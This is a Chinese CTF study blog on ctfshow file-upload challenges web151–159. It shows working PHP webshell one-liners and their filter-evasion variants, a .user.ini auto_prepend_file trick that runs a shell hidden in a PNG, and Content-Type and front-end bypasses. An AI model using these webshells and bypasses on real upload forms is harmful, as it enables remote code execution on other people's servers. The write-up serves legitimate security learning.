文件上传学习

edited by twi1igh7

web151

这里尝试了一下只能上传png图片,连jpg都不行

F12查看,找到前端限制的代码,将png改成php就行

image-20260519111016246

这时候上传我们写的一句话木马

1
<?php @eval($_POST['cmd']);?>

然后蚁剑连接,在html目录下找到flag.php

image-20260519111227459

web152

这道题我们用上题的打法,发现后端有检测

image-20260519114710472

用bp抓包,改content-type

image-20260519114800533

蚁剑连接即可

image-20260519114816535

小结

引自ctfshow-web 151-170-文件上传 - 技术栈

img

web153

还是用上一道题的打法,但是发现php文件上传不过去了,应该是有过滤。这道题考的是nginx下的.user.ini配置文件。我们上传的文件在var/www/html/upload目录下,我们先上传图片木马,然后再上传写好的.user.ini

1
2
3
4
#.user.ini

auto_prepend_file=shell.png
#或者填auto_append_file=shell.png

这里需要注意.user.ini必须访问其目录下一个php文件后才会起作用,这里upload目录下有个index.php文件,我们先访问/upload/index.php,随后即可用蚁剑连接了(但我后面问了下ai,我们直接访问/upload/就会自动读取/upload/index.php

注意连接地址是url+/upload/,后面不要接shell.png之类的(这里我问了下ai,回答说是,如果访问shell.png的话,虽然里面有一句话木马,但是因为是png后缀,所以不会没当成php处理。但是如果访问文件夹的话,会优先看index.php,后面就会开始处理php,而且处理php之前还会先读取.user.ini文件,所以目的就达成了)

image-20260520183801597

web154

和上道题一样的打法,但是上传图片马的时候报错了,文件内容不合规。尝试后发现应该是把php过滤了,我们用短标签即可

1
<?=@eval($_POST['cmd']);?>

web155

和上道题一样的打法

image-20260520185749876

web156

看wp这道题过滤了[],其实我们可以用system来打。正常上传.user.ini,然后png上传php代码读取flag

1
<?=system('tac ../fla*');?>

如果要绕过过滤的话就是{}可以代替[],一句话木马写成<?=@eval($_POST{'cmd'});?>

然后蚁剑连接即可

image-20260520191634137

web157

看wp发现把;{}给ban了,那一句话木马就没有希望了(至少我看到的几篇wp没有用一句话木马了)。但是我们可以用system命令来打

1
<?=system('tac ../fla*') ?>

image-20260520193601661

小结

论一句话木马的多种形态

基本态<?php @eval($_POST['cmd']);?>

如果ban了php,可以换成短标签<?=@eval($_POST['cmd'])?>

如果ban了[],可以换成{}<?=@eval($_POST{'cmd'});?>

web158

和上道题一样的打法

image-20260520194235205

web159

这道题应该是过滤了(),先看我们想写的shell是<?=system('tac ../fla*')?>

()被过滤掉的话相当于system也失效了,可以用反引号来代替(注意反引号等同于shell_exec(),所以不会在屏幕上显出内容,但是<?=等同于echo,刚好弥补了这一缺点,简直就是天作之合hh)

然后上传shell.png.user.ini即可

image-20260520195238668

一些碎碎念

今天就做到这里吧,感觉日更博客还是有点困难,但我尽量至少一周一更,或者一周两更以上吧,毕竟现在课程数量还是有点多了/(ㄒoㄒ)/~~

昨天和老师以及学长聊到当下ai冲击ctf的现实问题,目前agent解题确实厉害,基本很难有人类选手能够击败ai,但是我们也不能放弃基础知识的学习,毕竟找一个只会用ai的mcp不如把钱投入token中hhh。更深层次地想,ai会不会像锁死人类基础科学一样,锁死后继者的创新能力、基础知识??所以学习基础知识还是必要的,即使学了几个月、一年、十年,也很可能被ai按在地上摩擦,但我们的目标并非击败ai,而是更好地驾驭ai。